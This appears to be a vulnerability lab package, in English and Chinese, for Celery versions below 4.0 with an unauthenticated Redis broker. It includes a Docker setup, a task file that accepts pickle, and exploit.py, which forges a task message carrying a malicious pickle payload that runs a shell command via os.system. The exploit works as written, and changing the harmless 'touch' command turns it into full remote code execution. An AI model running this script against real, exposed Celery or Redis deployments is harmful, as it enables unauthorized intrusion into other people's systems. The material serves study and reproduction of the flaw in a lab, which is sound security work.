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# Celery <4.0 Redis unauthorized access + Pickle deserialization exploit
[中文版本(Chinese version)](./README.zh-cn.md)
Celery is a simple, flexible, and reliable distributed system that processes a large number of messages while providing the tools needed to operate and maintain such a system. It is a task queue focused on real-time processing and also supports task scheduling.
In Celery <4.0 version, Pickle is used by default for serialized task messages. When the queue servicee.g. Redis/RabbitMQ/RocketMQ used has an unauthorized access problem, the Pickle deserialization vulnerability can be used to execute arbitrary code.
## Vulnerability Environment
Execute the following command to start Celery 3.1.23 + Redis:
```bash
docker compose up -d
```
## Exploit
The exploit script `exploit.py` only supports use under python3
```bash
pip install redis
python exploit.py [Host IP]
```
View Results
```
docker compose logs celery
```
You can see the following task message error
![](a.png)
```bash
docker compose exec celery ls -l /tmp
```
You can see that the file `celery_success` was successfully created
![](b.png)
## Reference
https://docs.celeryproject.org/en/stable/userguide/configuration.html
https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk
https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers
https://www.jianshu.com/p/52552c075bc0
https://www.runoob.com/w3cnote/python-redis-intro.html
https://blog.csdn.net/SKI_12/article/details/85015803

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# Celery <4.0 Redis未授权访问+Pickle反序列化利用
Celery 是一个简单、灵活且可靠的分布式系统,用于处理大量消息,同时为操作提供维护此类系统所需的工具。它是一个专注于实时处理的任务队列,同时也支持任务调度。
在Celery < 4.0版本默认使用Pickle进行任务消息的序列化传递当所用队列服务比如RedisRabbitMQRocketMQ等等等存在未授权访问问题时可利用Pickle反序列化漏洞执行任意代码
## 漏洞环境
执行如下命令启动Celery 3.1.23 + Redis
```bash
docker compose up -d
```
## 漏洞复现
漏洞利用脚本`exploit.py`仅支持在python3下使用
```bash
pip install redis
python exploit.py [主机IP]
```
查看结果
```
docker compose logs celery
```
可以看到如下任务消息报错
![](a.png)
```bash
docker compose exec celery ls -l /tmp
```
可以看到成功创建了文件`celery_success`
![](b.png)
## 参考
https://docs.celeryproject.org/en/stable/userguide/configuration.html
https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk
https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers
https://www.jianshu.com/p/52552c075bc0
https://www.runoob.com/w3cnote/python-redis-intro.html
https://blog.csdn.net/SKI_12/article/details/85015803

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version: '2'
services:
redis:
image: redis
ports:
- 6379:6379
celery:
image: vulhub/celery:3.1.23
volumes:
- .:/home/user
command: "celery -A tasks worker -l debug"
links:
- redis
environment:
CELERY_BROKER_URL: redis://redis/0

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import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}"
task_dict = json.loads(ori_str)
command = 'touch /tmp/celery_success'
class Person(object):
def __reduce__(self):
# 未导入os模块通用
return (__import__('os').system, (command,))
pickleData = pickle.dumps(Person())
task_dict['body']=base64.b64encode(pickleData).decode()
print(task_dict)
r.lpush('celery',json.dumps(task_dict))

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from celery import Celery
app = Celery('tasks', broker='redis://redis/0',backend='redis://redis/1')
app.conf['CELERY_ACCEPT_CONTENT'] = ['pickle', 'json', 'msgpack', 'yaml']
@app.task
def add(x, y):
return x + y